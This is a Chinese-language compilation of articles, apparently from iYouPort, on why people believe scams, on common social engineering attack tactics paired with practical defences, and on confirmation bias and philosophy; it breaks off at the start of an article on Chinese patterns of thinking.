就如，骗子 George C. Parker 将布鲁克林大桥卖了四次，都是卖给了那些新移民，他们不知道这座桥是不能卖出去的。

这家伙还出售了格兰特陵墓、大都会艺术博物馆和自由女神像。

苦难滋生的绝望

绝望的人不会再怀疑。他们认为，当替代方案过于悲惨时，人们就会相信承诺是真实的。

John D. Rockefeller 的父亲威廉是重婚者，也是兜售假药的人，走江湖的巫医，这种药物对生病的人来说毫无帮助。

据说这位 “医生” Rockefeller 曾为他的儿子、标准石油信托基金的创建者，进行过辅导。

在这种情况下，“替代方案” 是死亡。这一点也不奇怪。当执业医师表示这种病无药可用时，人们就会相信任何东西能 “治疗它”，包括中国乡村一些人依旧信奉的香灰。

有时只是信任

人们相信一个故事是因为他们相信讲故事的人。

他们不知道如何刨根问底，也不想这么做，或者认为没有必要这样做。

骗子 Bernie Madoff 早在1980年代中期就开始在美国富有的犹太退休人员及其慈善组织和欧洲的贵族家庭成员中寻找庞氏骗局的投资者。

而那些受害人只是信任了团体中为 Madoff 及其投资担保的其他人。

您需要时刻提醒自己觉察这点：您是否已经信任另一个人超过了信任自己的判断力？

追究很难，或费用高昂

1912年，在英国东萨塞克斯郡的皮尔当（Piltdown）发现了一块头骨，一些骨头和其他遗物。

这些骨骸被当时的考古学专家宣称为某种前所未见的早期人类遗骸化石，而拉丁学名 Eoanthropus dawsoni 即被赋予该样本代表的古人类。

结果是，花费了40多年的时间才得以确认 Piltdown Man 是一个骗局，花了100多年的时间才确定谁伪造了它。

这类难以反驳的东西是行骗的最有利途径 —— 考虑持续搜寻大脚怪或尼斯湖怪兽的行动。

人们总是渴望梦想成真

有时，尽管有内在的怀疑，但是人们依旧会非常希望将不可能的事情变成现实，以梦想带动世界。

例如，如果外星飞船确实坠毁在某地，那将意味着星际旅行是可能的。在90年代的外星人谣言爆发的热门期间，这类骗术几乎铺天盖地。

换句话说，如果骗子能知道你最想要什么，那么你就肯定危险了……您一定听说过 “不挨饿的减肥大法”、“愉快的戒烟之旅” 等等？

重复 —— 社交媒体的标志性欺骗 —— *创造*信念

一遍又一遍地重复听到一个虚假的主张，就足以使人们对此产生信心。

最简单的如，常见的广告和公关策略，就是通过增加 “印象次数” 来使其高度可见，从而使人们信任它的。

这也是戈培尔的拿手好戏之一。

集体出动的欺骗运动

单单重复可能还不够。当人们尝试评估某件事是否正确时，他们通常会寻找客观的理由作为其信仰的基础，例如，找到关于该事件的两个相似的独立判断。它被称为 Rule of Two。

在社交媒体上，用户经常会重复看到由不同的朋友或联系人发布的说法。相同的信息似乎不仅来自世界各地，而且显然来自独立的来源。

但是，事实上通常只有一个来源，尽管轻松的在线共享使它看起来不止于一个来源。

这就是为什么如此多的观察员担心社交媒体在政治中扮演的角色的原因 —— 它可以轻而易举地使人们相信错误的说法是真实的。

这也是当权者操纵的人格暗杀运动的关键支柱，他们买通一群人同时撒谎，其中包括公信力很高的企业媒体。更多解释详见 《人格暗杀和抹黑运动：谁在受益？》。

人们倾向于相信别人似乎相信的东西

人们有内在的意愿去屈服于显然是所谓的专家或合法机构的自信主张。

在著名的 Stanley Milgram 的实验中，普通百姓遵守了 “科学家” 的指示，对受试者施加令人痛苦的电击 “治疗”。电击是真的，但科学家是假的，于是并不存在什么治疗。

一个充满激情和说服力的骗子，经常伪装成各种专家 —— 例如，艺术品经销商或奇迹疗法研究人员 —— 利用这种心理弱点使人们相信虚假的说法。

- 见《警惕微妙的劝导术：一个能力排众议博取认同的“骗子”长

啥样》

「图」

「图」

Robert Cialdini 引入的一种相关机制被称为 “社会证明”，即：看到别人去做您想做的事时就可以激发您也行动起来。刚经历过冠状病毒的人们肯定熟悉抢购，就是这个原理。

他人的行为似乎就像是正确操作的 “证据”。这就是骗子经常使用 “先令” 的原因，骗子的帮手向受害者确认骗子的计划是合法的。

以上这些说起来似乎很容易，但处在那样的环境中的人往往难以躲避欺骗，就算他们懂得一些骗术的道理。这就是为什么骗子很可怕，而且传统骗术也能经久不衰。

追求事实核查是必须的。但是，如果每项事物都通过事实核查，那么包括政府在内的社会将无法正常运转。

然而骗子们却在商业、政治和日常经验中年复一年地成长。

互联网构成了一个另类事实的世界，与现实脱钩。宣传、操纵、误导、信息战 …… 各种骗术在这里盛行。除了帮助更多人了解这些骗术在外，也别无他法。不论如何，审查绝不能成为解决方案。

- 在这里找到防骗的全部技巧 列表-3 “斗智”

○□

原文

无人能免疫的脆弱性：抵御社交工程攻击的基础知识 - iYouPort

社交工程-反操纵、反欺骗的副本

每一种斗争都是心理战，因为事情是人做的，如果您能控制人，就能控制一切 ……

「图」

「图」

当设计或分析信息和通信技术系统的安全时，除了整个 “数字” 安全范围外，还必须考虑到的最重要的一件事就是，所有操作都是人来完成的。

遗憾的是，几乎在每一种情况下，人都是系统中最薄弱的环节。

一方面，人是最不容易预测的，另一方面，人也最容易受到那些想破坏安全系统并盗取重要数据的恶意者的影响。

通过操纵用户从而对信息系统实施的攻击被称为社交工程攻击，其基础不是硬件或软件的脆弱性，而是人类倾向于在不知不觉中屈服于操纵和影响。

攻击者以人性弱点为入口，获取想要的信息，如银行账户的访问数据、信用卡的PIN码或CVC码、详细的个人数据，或其他在特定时刻执行黑客 “任务” 所必需的任何信息。

攻击的对象可以不是某个具体的人，而是整个公司或组织，攻击者的目的是深入其内部，了解其结构和弱点，以便进行破坏或获取想要的信息。

- “心理学和社交工程”

如上，我们有专门的栏目来介绍这件事，因为它很重要，而且复杂。

它不仅在数字安全和防御领域至关重要，并且，在现实中的反侦察反情报方面也占据主要地位。每一种斗争都是心理战，因为事情是人做的，如果您能控制人，就能控制一切。

📌 在练习防御时，您不仅需要知道攻击是如何进行的，并且还需要亲自掌握一些操纵和影响他人的技巧；虽然这并不容易，但只有这样您才能在遭遇攻击时及时作出反应。

讲故事很容易，但仅仅听故事是不够的 —— 听到他人的遭遇并不能帮助您树立 “前车之鉴”；因为社交工程攻击者利用的是每个人的心理弱点，任何人都有这样的弱点，而且攻击者手段千变万化，于是即便是该领域的专家，也有可能在某些时候被攻击者的诱饵所捕获。

但对社交工程手段的了解应该是防御的基础。就如武术教练教给您的都是杀伤性招数，但同时要强调，这些方法只能用来防身，而不是去伤害他人。

同样，心理操纵专家的目标是帮助您对这类心理攻击免疫，于是会教授您操纵他人的方法，同时强调：所学的技术只能用于防御。在网络安全方面我们也会采取渗透测试来识别可能的漏洞并及时弥补它们。

攻击的准备和执行

对于任何行动来说都是如此，第一步要做的就是：侦查。

为了对攻击做好充分准备，优先要考虑搜索那些 *不需要* 与个人或组织员工互动就能获得的信息，即 有关目标人/组织的任何信息。

侦查瞄准的是足迹，即 对目标的初步识别。这种识别的要素除了您知道的那些之外，还包括，尽可能搜集被遗弃的/被认为无用的信息，这将帮助攻击者相应地构建攻击框架。

因此，在对个人进行攻击之前，攻击者可能会先对目标的社交媒体账户进行深度的审查。在对公司进行攻击的情况下，会搜索有关公司结构、电子邮件地址、姓名和职位、电话号码、甚至是老旧的IT设备的信息，这些信息中可能包含对攻击很有用的数据。

为了使社交工程攻击更容易成功，在大多数情况下，攻击者首先要对目标进行 “劫持”，以使其更容易被操纵。

“劫持” 包括两种完全不同的行为 —— 将受害者引入完全信任和舒适

的状态、或者，使其进入强烈的压力状态。

其中第一种行动的特点是，行动的目的是要削弱目标人的警惕性，把他们引入一种他们感觉良好和安全的情绪中，以便在他们最不希望或可能根本没有注意到的时刻发起攻击。

在后一种行动中，攻击者将混乱引入受害者的环境中，使受害者感到威胁或被众多的信息所迷惑，从而尽可能地自动采取攻击者想要的行动。

这与人类心理的一个基本原则有关。人类的神经中枢最古老的部分是脑干，它负责我们身体的自动运行，这似乎很合理，因为我们的祖先要为如何捕猎或逃避凶猛动物而烦恼，而沉思周围的风景之美和创造性思考则是稍后的事，那时食物和安全等基本需求已经得到保证。

这与社交工程攻击有什么联系呢？是这样的，在突如其来的压力下，人的大脑会切换到基本的控制模式，它迫使人回归到原始行为，首先是为了保护我们。信息处理主要发生在脑干，这导致行为的高度自动化。

而这也是一个非常好的学习社交工程影响和操纵技术的地方。对此原理吸收得越多，当有紧急需要迅速行动的时候，您的大脑就有更大的机会把它们考虑进去。

对于防御。必须形成一种条件反射，并将适当的保护性机制引入到大脑命令系统的“核心”中。

1、礼物不仅仅是礼物

使用社交工程进行攻击的最简单方法之一是向受害者提供以下形式的礼物：比如，包含恶意软件的精心设计的笔式驱动器，这些恶意软件会窃取目标人的数据。也或者是作为潜在业务合作伙伴为未来合作提供的礼物。

几乎每个人都喜欢礼物，所以在收到这样的礼物后，很少会怀疑友善的对方正在试图抢劫你。

笔式驱动器的示例可以扩展到键盘记录器，该记录器将拦截信息并将信息发送给攻击者。关于目标人正在使用的银行、拥有的登录名和密码等等。结合控制目标的电话或SIM卡，攻击者就可以轻松实现数字暗杀。

- 《如何抵制SIM卡交换攻击》

幸运的是，如今您经常能听到人们对此的怀疑 —— “哦，她给了我一些东西，所以她当然想要从我这里要走一些东西！” —— 这是很好的思考方式，这可以使您免于漫不经心地收取礼物并在家里或工作中使用它们。

曾经有很多关于中国公司向西方承包商提供笔驱动器的报道，上面就有这类恶意软件。这是为获取对企业具有战略重要性的信息。

请注意，礼物也可能是无形的 —— 可能是赢得大奖的愿景，通过电子邮件发送该链接并指向放置了恶意软件的页面。

2、“像咱们这样的人”

前面提到的通过礼物钝化受害者的警惕性的方式也可以采取谈话的形式实现，使目标人感到与攻击者有某种联系，从而摆脱了向攻击者透露机密数据甚至提供致命信息的任何阻力。出于 “同情” 的心理原则。

如果一个人在哪些方面与您相似，比如拥有相似的名字，有相似的穿衣风格，具有相似的政治观点等等，您就越容易愿意将对方视为值得信赖的人，并自动地在想象中将对方视为更好的人。

渗透进入抗议运动的政府线人采用的也是这种方法 —— 强调与您一致的政治立场、高喊同样的口号，引导您将其视为 “自己人”。并不是要您去怀疑同道，而是，信任要分级，不够熟悉的人不论如何也不能立刻给予其高知情权限。

- 《过去和现在的线人：政治渗透是如何操作的？（1）》
- 《针对反抗运动的政治渗透：政府线人如何操作（2）》
- 《渗透破坏、分裂和误导在抗议活动中广泛存在：政治渗透如何操作（3）》

这种攻击方法之所以有效，是因为一种来自您内心的自动分配的标签，在这种标签的作用下，您的警惕性几乎不存在或很少。而您很可能没有意识到。

绝大多数社交工程黑客都是意识到这种自动行为的人，而我们只要一点点的疏忽就足以让他们实施有效的攻击。

攻击者可以花很长时间与目标进行交谈，以任何方式拉近与目标之间的关系，攻击者会假装自己是与目标人朝着同一方向前进或有着相同遭遇的人。

共同敌人是一个非常好用的工具，攻击者会利用对目标人的调查中找到的好恶，强调自己与目标有着同样的仇恨（仇恨比喜好的作用力更为强大）；攻击者还可能假装认识您的朋友中的某人，以便爬进目标人的圈子，使目标人自动觉得对方可以信赖。

请注意，攻击者使用的一切突破口都是您曾经自己透露出来的东西。不论是从您的社交媒体账户中还是互联网上的任何对话中。您应该注意的是，如果一个陌生人看起来对您比较熟悉 —— 了解您曾经说过什么，您应该及时反应过来并保持警惕。

如今许多人都很愿意在互联网上分析自己所认识的人、关心的人、甚至饮食偏好、在哪度假、政治观点等等一切私密信息。所有这些都能使攻击特定的目标人变得更加容易。

通过诱使您觉得 “熟悉” 从而自动贴上一个 “安全” 标签，这种手段不止有人类社交工程攻击使用；网站也会通过试图看起来像您熟悉的银行、邮件服务和 Facebook 登录屏幕，来诱使您输入凭据。

一个人如果看到了自己熟悉的颜色和布局，就不会认为那是陷阱。因此，银行越来越多地告知，他们从不要求客户在登录过程中或在电子邮件通信中提供额外数据。

3、帮个忙

另一种攻击方式利用的心理弱点是互惠原则。攻击者会试图制造一种情况，让目标人觉得自己有义务帮他个忙。

在互惠心理的驱动下，人们往往会忘记哪些东西更为敏感以至于不可以做任何交易。

攻击者会采取操纵战术中几乎所有模式，比如，先提出一个较大的请求，如果目标人拒绝，那就换成一个较小的请求，利用对方的自动比较，从而实现他们的目的。您可以在我们的专题系列中看到所有这些操纵手段：

- 《发现你生活中的操纵者：在叙事矩阵的边缘（1）》
- 《认知幻觉和各种谬论：你是如何被绕进去的？- 让你只想到我

希望你想的事（2）》
- 《什么样的人最容易被操纵：心理控制的状态是什么样的（3）》
- 《您真的知道自己在做什么吗？：让你只想到我让你想的事（4）》
- 《让你感到愧疚或无愧，你就会主动满足我更多：让你只想到我让你想的事（5）》
- 《操纵者如何用描述转变你感知世界的方式：让你只想到我让你想的事（6）》
- 《步步为营法，轻松改变他人的观点：让你只想到我让你想的事（7）》

4、领导和专业人士

权威效应会导致人们自动采取心理服从，于是攻击者就会利用这点来伪装成各种专业人士或您的领导上司，您就会难以对他们产生怀疑。

比如 医生、警察、消防员、或IT技术人员等，都是攻击者常用的角色，甚至只是穿上垃圾处理公司的工作服就可以了，看守就会自动允许其进入和获得所有被丢弃的文件 “垃圾”。

已经有大量案例证实，这类伪装非常高效，攻击者可以渗透到特定的机构，并说服人们执行任何有利于攻击者的行动。更重要的是，他们甚至得到了过分的信任，收获了超出自己预期的东西。

并且，在没有任何商务装的情况下也能实现这点 —— 进入公司或组织内部，脸皮厚就足够了，攻击者只需要让自己看起来就像是属于这里。

您肯定知道那种做法，尤其是员工众多的大公司，门卫不会认得每一个员工，攻击者只需要让自己看起来就像理所应当存在于这里的人，大大方方地跟着有权限进入的人，甚至假装搭讪，就能骗取门卫的信任。

当然，利用权威效应的并不只有人类。如果人们收到一封带有附件的邮件，邮件内容中含有 “附件已被杀毒软件X扫描成功” 的文字，大多数人可能会愿意打开它。

- 《一个简单的新工具可让您安全地打开电子邮件附件》

5、虚构一个羊群

操纵目标人的诸多手段中最常用的一种利用的是社会证明正确性的规则。也就是说，如果你能让目标人看到“其他人都在这样做”，那么目标人就会更愿意去做这件事。

比如攻击者通过电子邮件等方式使目标人相信，他是最后一个没有向某（当然是虚构的）需要访问公司邮件的管理员提供访问数据的人。

攻击者还可以向目标人发送一份伪造的信件副本，让目标人产生一种信念，认为他应该做某件事，这些信件会显示已经有多个人就某一问题发表过意见，并且做出了某一项行动。目标人会更愿意跟随这个虚构的群体。

6、你刚说过的 ...

后果法则是社交工程攻击的另一种工具。人们都有信仰承诺和一致性的心理，这意味着我们不会撤回自己刚刚提出的意见。

这个规则里面有一个具体的技术就是所谓的“临门一脚”。它说的是，在同意了第一个小的要求之后，目标人会更愿意满足第二个更大的、甚至与第一个完全无关的要求。

上述操纵系列中也介绍过这种手段。

人们也倾向于走熟人和已知的路线，所以，如果在月末的时候邮箱里出现了大量的发票，那么员工更有可能不会验证附件，而是立即打开。

当然，这个附件会被攻击者冒充业务伙伴植入恶意软件，最好的结局是在杀毒软件中发出警告，但是，杀软并非万能，最坏的结果是整个磁盘被加密（甚至此刻正连接着备份的磁盘），并要求赎金。

7、距离促销结束仅剩5分钟

这种形式就太普遍了，攻击者通过强调最后期限，“将失去一个独特的机会”，以胁迫目标人迅速采取攻击者想要的行动。

这就是为什么您可能会看到这样的字句：“这是你删除邮箱之前的最后一条消息。登录到新的「此处链接到陷阱页面」，以保留你所有的信息和联系人!”、“你的密码已经过期，必须立即更改密码”，或者“你的电脑上已经检测到一个危险的病毒! 请迅速下载「这个」杀毒软件!”

8、压力

压力是最糟糕的顾问，每个人一生中都至少听过一次这样的警告。而正是我们的压力，最容易成为攻击者的绝佳入口，因为在压力之下目标人更可能主动完成攻击者的意图。

于是，攻击者要做的就是为您构建一个可能不存在的压力，或者加强您的原有压力。

防御

1、提一个简单的问题

如何防范社交工程攻击这本身是一个非常广泛的主题，可以是多种技术的组合。然而，在每一次的社交技术攻击中，从最简单的礼物—木马、到试图与您交好的陌生人、或者试图破坏您周围环境的人 …… 人们可以通过问自己一个简单的问题，就可以初步验证自己的行为及其后果的合理性。

就像与人交流一样，当您收到邮件时，应该给自己一点时间思考。如果您还没有订购任何东西，您是否应该打开这封声称为发票/寄售信息的邮件？是否真的能有如此吸引人的报价特别为您存在？……

2、以获取最高信任度

正如下面这本书中所强调的，不论使用什么手段，攻击者的全部努力为的就是，让目标人信任攻击者甚至超过信任自己。这本书在这里下载：https://www.patreon.com/posts/ru-he-shi-yong-38192798

「图」

「图」

所以，作为防御者，您需要能了解如何才能控制一个人的想法，这很重要，只有这样，您才能在自己遭遇到类似控制的情境下及时反应过来。

如果对方声称是您的某个朋友，不论这个朋友的关系远还是近，您需要通过其它方式联系对方以确认是否同一个人，而不要轻易接受声称。

也因此，您也需要反过来想这件事：攻击者为什么能知道您的朋友是谁？因为您泄漏过这个信息。所以，尽可能少地提供有关自己的任何私人信息非常重要，以免引起不必要的追踪。

攻击者掌握的关于您的信息越准确，其设计的攻击模式就越有效。

3、您真的知道自己在哪吗

如果攻击者试图通过向您展示一个您熟悉的、已经安全登录过很多次的页面来削弱您的警惕性，您必须能准确判断自己究竟是不是在正确的地方。

您应该确认浏览器中给定页面的地址是否与应该存在的地址一致，检查那个“绿色锁”；对于网页上的链接或发送给您的电子邮件中的链接，您不仅要检查写明的地址，而且还要检查它究竟指向哪里，鼠标悬停在链接上后在浏览器底部看到指向的地址。

4、更新和备份

防范社交工程攻击的一个重要的因素就是软件更新，包括操作系统、普通软件，当然也包括杀毒软件。

当杀毒软件失效或者您通过其他软件的漏洞丢失数据时，最好有一个备份，备份应该经常进行，这样可能的损失就不会太痛苦。

备份介质应该是只读的存储器，并且至少练习一次从备份中恢复数据。

5、随时记得不应该仅仅因为制服而信任一个人的身份

并不是每一个穿着白大褂的都是医生，也不是每一个戴着头盔和电工手套的都是救援人员，攻击者还可以伪造各种身份证件、印章和胸卡。

所以，在委托重要信息或钱财之前，不妨先核实一下对方的身份，比如向其他人询问，或者在网上查找相关信息。

6、通过示例进行培训

一些组织根据以前发生的攻击为其成员提供安全培训，它们可能被称

为“前车之鉴”，让成员熟悉攻击可能发生的情况，因此一旦发生，人们就更容易识别。

培训中除其他事项外，还列出了可以提出的问题以及应该作为提醒的问题。

就如我们曾经在“灾难中幸存”系列中强调的态势感知，在社交工程防御中也一样。最简单的方法是根据“绿色-橙色-红色”列表对情境进行划分，其中绿色部分中的问题通常是陌生人说出时也不需要感觉惊慌的，例如在公司大厅里说：“你骑自行车去上班吗？”

除了提问者已经拥有的信息外，您对这类问题的回答将不会透露任何其他信息（拿着自行车头盔没什么奇怪的）。

但是，如果对话继续进行，提问者更深入地询问，比如“您把自行车放在哪了？”，“橙色灯”应该亮起，因为回答这样的问题将导致超出提问者最初预期的信息获知范围。

当然，这可能是一个无辜的问题，绝对不是攻击的一部分（不要陷入偏执狂），因此标记为橙色。

但是，当对方询问“老板的办公室/机房/档案在哪？”等问题时，红灯应该亮起。这些信息已经可以被用于攻击，您不应该向不了解身份的对方或不明确是否有权获得相关信息的人透露这些信息。

如果您感觉自己的组织可能正在成为攻击目标，那么也有必要将可疑人员获取信息的任何尝试通知数据保护人员（IT管理员、安全检查人员等）。

最重要的一点是，要对组织成员进行培训，不仅要做攻击技术方面的培训，而且还要针对态势感知的敏锐性进行培训。

在培训期间，重要的一点是要意识到，对组织重要的不一定对潜在的攻击者重要，反之亦然，组织认为似乎并不重要的事情其实也很重要。

当然，培训必须是周期性的，以便不断更新和巩固知识。为了确保组织成员都能按照同样的高标准行事，建议在培训之前或期间对成员进行测试。只有当人们实际上成为攻击的受害者时，才会意识到自己并不像看起来那样聪明和有韧性。

安全流程是另一个重要因素，需要被纳入习惯，可以使组织（以及个

人）免受社交工程攻击。这会包括：应该多久更改一次密码，如何传递信息，如何销毁文档，外部来宾可能拥有哪些权限，谁可以访问您的设备，在给定情况下应该通知谁等等。

您的组织内部应该有协调一致的安全措施，并且能够确保每一位成员都能按照标准行事。

总结

本文所讲述的是最常见的攻击方法和防御方法，它结合了控制人们行为的基本要素和最简单防御思考方式。更多具体内容您可以在“心理学和社交工程”栏目中看到。

本文无法涵盖全部可能性，因为攻击者的胜算很大程度上取决于其创造力。

当然，不能让自己疯狂地怀疑所有人；但是了解这方面的知识，必需成为当今时代安全生活和工作的重要组成部分。〇

原文

“我才是对的”：哲学如何帮助你解决确认偏误 - iYouPort

心理学和社会学

人们总是觉得自己才是正确的，对其他支持相反结论的证据不屑一顾。这是怎么回事？如何解决这个问题？

「图」

「图」

确认偏误倾向于支持一个人现有的信念，并重新解释或忽略与这些信念相矛盾的其他证据。比如一个人认为佛教的转世轮回说法是愚蠢的，但同时深信天堂地狱的说法；或者对自己不喜欢的政客主张的审查制度持强烈反对的态度，而同时支持其他国家*自己喜欢*的政客的同一种主张。

从第三方角度来看，这种自相矛盾非常奇怪。但确认偏误从来不是特殊的东西，我们每个人都有不同程度的相同问题。当你很容易找到支持自己的证据、并同时可以完全无视否定自己的证据时，确认偏误就出现了。

确认偏误只是许多其他认知偏差中的一种，包括损失厌恶、归因偏误和可用性启发式。多年来专家们对如何以及是否可以减少这些偏见持不同意见。似乎没有被充分强调的一点是，确认偏误的有害性和持久性。并且，确认偏误是一种基础偏误，也就是说，如果不能解决它，就很难解决其他类型的认知偏差。

就如 Raymond S. Nickerson 曾经说过的，如果你想找到一个关于人类推理中的常见问题，那么就绝对要首先注意到确认偏误。因为它实在是足够强大和普遍，以至于人们都想知道是否偏见本身就是个人、团体和国家之间发生的争议、争吵和误解的最重要部分。

那些研究确认偏误的研究人士自己是否研究过自己的确认偏误呢？这似乎很讽刺。

也许，遵循哲学的方法是最好的方法。

Amos Tversky 和 Daniel Kahneman 关于“前景理论”的研究似乎是相对较早系统梳理这件事的，当时该理论提出了对人们如何在风险下做出决策的彻底重新评估。作者认为，在面对风险决策时，我们从来都不会如自己想象的那么理性。2011年，Kahneman 将他生活中的智慧和由此产生的偏见研究汇总在“思考的快和慢“一书中 。

在大西洋月刊去年的一篇文章中，Ben Yagoda 讨论了认知偏差的现象，提醒我们现在有超过100个可列出的偏见。Yagoda 采访了 Kahneman 以及 Richard E. Nisbett，他在推动 Tversky 和 Kahneman 的工作方面发挥了重要作用。

Yagoda 的文章是关于认知偏差的一个很好的入门作品，给出了许多真实世界的例子，说明了它的表现方式。他还同意，确认偏误是人类所有推理漏洞中最不利的一种。

可以减少偏见吗？Yagoda 强调了 Kahneman 和 Nisbett 之间的意见分歧，Kahneman 更加怀疑，而 Nisbett 认为可以做到。

正如他的书名所暗示的那样，Kahneman 坚持双重过程的思维模式。我们用两种不同的方式思考：快速和慢速，快速思考是指立即处理信息，例如 注意到两个结构的高度基本相同；慢思考是指更多的审议处理，例如 在参议院会议中计算举手数以确定投票。Kahneman 称快速思考系统为1、缓慢思考系统为 2。

认知偏差，如可用性启发式，是快速思维出错的典型例子。为了减少偏差，我们必须找到一些方法在系统**1**上使用系统**2**。但 Kahneman 认为系统1过于弹性。在他对 Yagoda 的采访中概述了一些减少偏见的技巧之后，Kahneman 说：

我的立场是，这些东西*[偏差减少技术]*都不会对系统*1*产生任何影响。也许，通过非常长期的培训，大量的谈话和接触行为经济学，你可以做到线索推理，所以你可以让系统*2*遵守规则。不幸的是，世界并没有提供线索。并且，对于大多数人来说，在任何激烈的争论中，这些规则就会消失。

另一方面，Nisbett 已经竭尽全力指导人们如何减少偏见，包括创建 Coursera 课程。他似乎取得了一些成功。他报告说，在统计课程结束后，学生更有可能理解平均回归（这是一个很常见的谬误，即 人们错误地认为群体中的随机变异除了正常变异之外还有其他原因）。

不过，Nisbett 可能低估了确认偏误的力量。理论上，人们可以采取他的方法，研究统计数据，了解其他偏见，如归因偏误，但仍然会出现确认偏误。例如，我可能完全了解自己对这些其他偏见的使用，但没有解决或准确描述对我的立场的任何严重反驳。

公平地说，Nisbett 建议试图反驳你自己的假设。这是一个很好的策略。但我会更进一步。在 Hsieh-Hong Huang，Jack Shih-Chieh Hsu 和 Cheng-Yuan Ku 的一项研究中，作者使用计算机中介的反驳来减少确认偏误，取得了一些成功。

在这项研究中，参与者（在7个不同的大学就读MBA课程的241人）被随机分配到两组：一组用计算机介导的反驳，一组没有。参与者被告知他们有一定数量的资金投资股票，仅限于两个行业的两家公司。研究人员建议，这种设计迫使参与者应对大量数据和不确定性，这种情况更接近地反映了实验室环境之外的现实世界中的决策。提供给参与者的信息来自实际投资报告。

研究人员通过首先注意参与者的先入之见（哪些参与者决定投资），然后将其与后来的选择性阅读行为进行匹配，来测量确认偏误。

例如，如果参与者投资于特定行业（意味着他们倾向于花费更多时间阅读关于该行业的积极性信息，尽管有其他选择，但被无视了），那么这些参与者往往在确认偏误的范围内被评为*更高*。在参与者选定了行业并阅读了有关它的正面或负面信息之后，反驳组中的那些人就他们的投资决策给予了反驳（如果他们选择的是积极的论点，那么他们就会被给予否定的论点，反之亦然）。在之前和之后测量参与者对他们的信念的信心，使用七分制。

该研究发现，计算机调解的反驳对没有或低水平确认偏误的人几乎没有影响。而另一方面，对于那些具有高度确认偏见的人来说，反驳非常有效地降低了他们对自己信仰的信心。

这里有几个要点。首先，有些人可能只是比其他人带有更少的偏见（正如 Yagoda 本人暗示，在正确完成 Wason Selection 任务之后，他说他可能只是一个“无偏见的人”）。第二，专家反驳有效减少了某些人的确认偏误。

Nisbett 的建议—也就是说，试图证明自己是错的—可能不会引导某人参见专家反驳。例如，一位美国的 Facebook 博主最近发布了关于她试图听从朋友的建议并听取对立方的意见（她是一个政治进步人士）。她是怎么做到的？她和一些在咖啡店里发表保守观点的普通底

层公民谈过话。根据她的帖子，她离开后相信自己曾试图证明自己是错的，因此由于咖啡店里的保守派顾客提出的论据非常微弱，使她更加确定了自己的世界观。

但她应该读过“国家评论”或“华尔街日报”，而不是在咖啡店里听人们的交谈。她应该读乔治威尔，而不是听 Sean Hannity（特朗普的忠实支持者）。

哲学是解决与现实、知识和价值观有关的深层问题的理性方法。更重要的是，哲学有一个内置的机制来处理专家反驳。这是该学科的本质—理性地调查深层问题，对各方面的最佳论点都非常感兴趣，并且无论他们在哪里引导这些论点（无论我们是否喜欢最终目的地）。当然，苏格拉底就是最好的例子。苏格拉底方法应该使我们能够合理地综合不同的观点，从而走向真理。

然而，哲学家本身可能会非常偏颇。甚至有一些实验证据显示，伦理学家本身并不是很有道德的。（Eric Schwitzgebel 的作品）

我自己研究哲学的经验证实了 Schwitzgebel 的观点，我实际上不会认为我的一些哲学教授是真正的哲学家，因为他们没有运用理性论证的基本原则。

这就是问题所在：只要有可能，它需要一个非常一致的明智的头脑才能真正克服偏见。但最好的哲学能够是解决方案。已故的 Hilary Putnam 可能是哲学家应该做的一个很好的例子：他狠狠地遵循了这些论点，并且经常被不同意见的专家说服他改变了观点。但是，除非我们像 Putnam 那样深入地参与他方观点，否则我们经常很难对争论的另一方感兴趣。

鉴于 Nisbett 对克服偏见的所有乐观态度，以及他提供的所有专业资源以帮助他人克服偏见，他自己显然会存在确认偏误。实际上当考虑下面的例子时，Kahneman 的怀疑是可以理解的。

在 Vox 的文章中，Nisbett 和另外两位作者反对基因（特别是与种族相关的基因）对智力有影响的观点。我不是遗传学家。我不知道他们谁是对的。然而，Nisbett 和他的共同作者的偏见在文章中得到了充分的展示，遗传学家可能没有看到这一点。

其中一篇文章引用了 Charles Murray 的有争议的研究—他确实认为基因对智力产生了影响—文章指责 Murray“兜售垃圾科学”，还写在标题中了。奇怪的是，这篇文章继续说，“一些见多识广的科学家认

为 Murray 的观点比我们的观点更接近事实。”那么那些见多识广的科学家的工作也是“垃圾”吗？即使是一些外部研究也显示出一个比 Nisbett 和他的合著者更容易解决的科学领域，然而他们对那些据称知情的科学家不屑一顾。

写出一篇具有这样的标题的文章，并提及见多识广的科学家，但没有提出他们的论点的最佳解释，这本身就是确认偏误。即使看到 Nisbett 的独立作品的学术评论，早在 Vox 文章发表之前就已发表，其中就有这样的说法：“鉴于许多批判性研究如此明显地存在，Nisbett 对于他自己早期的结论的确定性是非常了不起的。” 此外，我们发现像 Robert Plomin 这样的遗传学家关注的问题不在于基因是否对智力有影响，而在于哪些基因正在影响智力。

不要误解我。我不知道这个问题上谁是对的。但是，当我看到辩论的另一方受尊敬的专业人士基本上被忽视、并且与那些围绕着告诉别人不要有偏见的家伙和“垃圾科学”一致时，我不禁要持怀疑态度了。

如果没有认真努力处理争论的各方面意见，即使是存在减少偏见的技术也不可能发挥得足够好。了解所有不同类型的偏见很重要，但如果我们不解决确认偏误，那么一切都是徒劳的。Nisbett 和他的合著者没有使用致命的归因偏误，他们并没有误解平均回归—但他们的确是确认偏误的表面现象。

你可能会争辩说，无论学科如何，关注批判性思维和解决辩论的各个方面意见都是学术界的基础。没错，但是，这种反对意见并未能真正理解哲学的深度。另外，我并不否认可能有社会学家、心理学家和其他哲学倾向的人。我的论点并不是每个人都应该获得哲学学位，而是每个人都应该学习一些哲学课程。

哲学解决了从政治到自我的最深刻的假设。而且，在最好的情况下，它从各个可能的角度用理性论证来解决它们。通过开创性研究分析女性压迫问题的社会学家可能从未考虑过将火腿三明治带入她的研究生研讨会的行为所具备的潜在不道德性。尽管部门指导一直在强调批判性思维，但在一些学术部门中，未经检查的文化相对主义一直都十分猖獗。尽管他们否定这点，但即使是科学家也需要哲学来检验他们的假设。

换句话说，我们的假设很深入、而且通常需要的不仅仅是基本的批判性思维。还需要对争论的各方进行全面、诚实的分析—这是哲学家已经做了几千年的事，只是其中有些比其他人更好。

更多详见《“我永远正确”背后的动机》

原文

中国式“思考”和行为方式的由来 - iYouPort

心理学和社会学

他们的选择无疑是一种妥协，妥协于审查、人情社会和中国式“思考”。

「图」

「图」

中国文化影响下的思考和行为方式正在不少方面成为抗争的阻碍。厌恶、鄙视和逃离都不是解决之道，我们更希望能正视、警惕和改变。本系列借时效话题分析中国社会常见现象，给动员以参考，也期待能引发广泛思考。

1、中国人为什么容易被影响？

在西方文化中，影响他人不是一件很容易的事，因为西方文化强调个性和自由，人们喜欢按照自己的想法行事，独立自我被尊重。

